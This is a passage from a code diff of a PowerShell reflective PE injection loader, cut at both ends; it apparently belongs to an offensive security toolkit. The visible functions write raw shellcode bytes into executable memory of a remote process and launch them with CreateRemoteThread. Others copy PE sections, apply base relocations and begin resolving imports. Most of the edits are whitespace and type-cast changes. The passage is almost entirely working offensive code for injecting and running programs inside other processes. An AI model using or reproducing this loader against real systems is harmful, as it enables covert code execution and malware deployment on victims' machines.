= [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName) - - #Write FunctionName to memory (will be used in GetProcAddress) - $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) - $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - if ($RFuncNamePtr -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process" - } - - [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr) - if ($Success -eq $false) - { - Throw "Unable to write DLL path to remote process memory" - } - if ($FunctionNameSize -ne $NumBytesWritten) - { - Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" - } - - #Get address of GetProcAddress - $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") - $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes - - - #Allocate memory for the address returned by GetProcAddress - $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - if ($GetProcAddressRetMem -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" - } - - - #Write Shellcode to the remote process which will call GetProcAddress - #Shellcode: GetProcAddress.asm - #todo: need to have detection for when to get by ordinal - [Byte[]]$GetProcAddressSC = @() - if ($PEInfo.PE64Bit -eq $true) - { - $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) - $GetProcAddressSC2 = @(0x48, 0xba) - $GetProcAddressSC3 = @(0x48, 0xb8) - $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) - $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) - } - else - { - $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) - $GetProcAddressSC2 = @(0xb9) - $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) - $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) - $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) - } - $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) - $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) - $SCPSMemOriginal = $SCPSMem - - Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) - - $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) - if ($RSCAddr -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process for shellcode" - } - - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) - if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) - { - Throw "Unable to write shellcode to remote process memory." - } - - $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions - $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) - if ($Result -ne 0) - { - Throw "Call to CreateRemoteThread to call GetProcAddress failed." - } - - #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory - [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) - $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) - if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) - { - Throw "Call to ReadProcessMemory failed" - } - [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [IntPtr]) - - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - - return $ProcAddress - } - - - Function Copy-Sections - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [Byte[]] - $PEBytes, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 3, Mandatory = $true)] - [System.Object] - $Win32Types - ) - - for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) - { - [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_SECTION_HEADER))) - $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, $Win32Types.IMAGE_SECTION_HEADER) - - #Address to copy the section to - [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) + Function Get-RemoteProcAddress + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $RemoteDllHandle, + + [Parameter(Position=2, Mandatory=$true)] + [String] + $FunctionName + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + $FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName) + + #Write FunctionName to memory (will be used in GetProcAddress) + $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) + $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RFuncNamePtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr) + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($FunctionNameSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + #Get address of GetProcAddress + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes + + + #Allocate memory for the address returned by GetProcAddress + $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($GetProcAddressRetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" + } + + + #Write Shellcode to the remote process which will call GetProcAddress + #Shellcode: GetProcAddress.asm + #todo: need to have detection for when to get by ordinal + [Byte[]]$GetProcAddressSC = @() + if ($PEInfo.PE64Bit -eq $true) + { + $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $GetProcAddressSC2 = @(0x48, 0xba) + $GetProcAddressSC3 = @(0x48, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) + $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) + $GetProcAddressSC2 = @(0xb9) + $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) + $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $ProcAddress + } + + + Function Copy-Sections + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + + #Address to copy the section to + [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) - #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated - # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If - # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, - # so truncate SizeOfRawData to VirtualSize - $SizeOfRawData = $SectionHeader.SizeOfRawData - - if ($SectionHeader.PointerToRawData -eq 0) - { - $SizeOfRawData = 0 - } + #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated + # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If + # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, + # so truncate SizeOfRawData to VirtualSize + $SizeOfRawData = $SectionHeader.SizeOfRawData + + if ($SectionHeader.PointerToRawData -eq 0) + { + $SizeOfRawData = 0 + } - if ($SizeOfRawData -gt $SectionHeader.VirtualSize) - { - $SizeOfRawData = $SectionHeader.VirtualSize - } + if ($SizeOfRawData -gt $SectionHeader.VirtualSize) + { + $SizeOfRawData = $SectionHeader.VirtualSize + } - if ($SizeOfRawData -gt 0) - { - Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null - [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) - } - - #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space - if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) - { - $Difference = $SectionHeader.VirtualSize - $SizeOfRawData - [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) - Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null - $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null - } - } - } - - - Function Update-MemoryAddresses - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 1, Mandatory = $true)] - [Int64] - $OriginalImageBase, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Constants, - - [Parameter(Position = 3, Mandatory = $true)] - [System.Object] - $Win32Types - ) - - [Int64]$BaseDifference = 0 - $AddDifference = $true #Track if the difference variable should be added or subtracted from variables - [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf($Win32Types.IMAGE_BASE_RELOCATION) - - #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do - if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` - -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) - { - return - } - - - elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) - { - $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) - $AddDifference = $false - } - elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) - { - $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) - } - - #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified - [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) - while($true) - { - #If SizeOfBlock == 0, we are done - $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, $Win32Types.IMAGE_BASE_RELOCATION) - - if ($BaseRelocationTable.SizeOfBlock -eq 0) - { - break - } - - [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) - $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 - - #Loop through each relocation - for($i = 0; $i -lt $NumRelocations; $i++) - { - #Get info for this relocation - $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) - [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [UInt16]) - - #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase - [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF - [UInt16]$RelocType = $RelocationInfo -band 0xF000 - for ($j = 0; $j -lt 12; $j++) - { - $RelocType = [Math]::Floor($RelocType / 2) - } - - #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. - #This appears to be true for EXE's as well. - # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx - if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` - -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) - { - #Get the current memory address and update it based off the difference between PE expected base address and actual base address - [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) - [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [IntPtr]) - - if ($AddDifference -eq $true) - { - [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) - } - else - { - [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) - } - - [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null - } - elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) - { - #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it - Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" - } - } + if ($SizeOfRawData -gt 0) + { + Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) + } + + #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space + if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) + { + $Difference = $SectionHeader.VirtualSize - $SizeOfRawData + [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) + Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null + $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null + } + } + } + + + Function Update-MemoryAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $OriginalImageBase, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + [Int64]$BaseDifference = 0 + $AddDifference = $true #Track if the difference variable should be added or subtracted from variables + [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) + + #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do + if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` + -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) + { + return + } + + + elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) + $AddDifference = $false + } + elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) + } + + #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified + [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) + while($true) + { + #If SizeOfBlock == 0, we are done + $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) + + if ($BaseRelocationTable.SizeOfBlock -eq 0) + { + break + } + + [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) + $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 + + #Loop through each relocation + for($i = 0; $i -lt $NumRelocations; $i++) + { + #Get info for this relocation + $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) + [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) + + #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase + [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF + [UInt16]$RelocType = $RelocationInfo -band 0xF000 + for ($j = 0; $j -lt 12; $j++) + { + $RelocType = [Math]::Floor($RelocType / 2) + } + + #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. + #This appears to be true for EXE's as well. + # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx + if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` + -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) + { + #Get the current memory address and update it based off the difference between PE expected base address and actual base address + [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) + [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) + + if ($AddDifference -eq $true) + { + [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + else + { + [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null + } + elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) + { + #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it + Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" + } + } - $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) - } - } - - - Function Import-DllImports - { - Param( - [Parameter(Position = 0, Mandatory = $true)] - [System.Object] - $PEInfo, - - [Parameter(Position = 1, Mandatory = $true)] - [System.Object] - $Win32Functions, - - [Parameter(Position = 2, Mandatory = $true)] - [System.Object] - $Win32Types, - - [Parameter(Position = 3, Mandatory = $true)] - [System.Object] - $Win32Constants, - - [Parameter(Position = 4, Mandatory = $false)] - [IntPtr] - $RemoteProcHandle - ) - - $RemoteLoading = $false - if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) - { - $RemoteLoading = $true - } - - if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) - { - [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) + } + } + + + Function Import-DllImports + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 4, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $RemoteLoading = $false + if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) + { + $RemoteLoading = $true + } + + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) - while ($true) - { - $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, 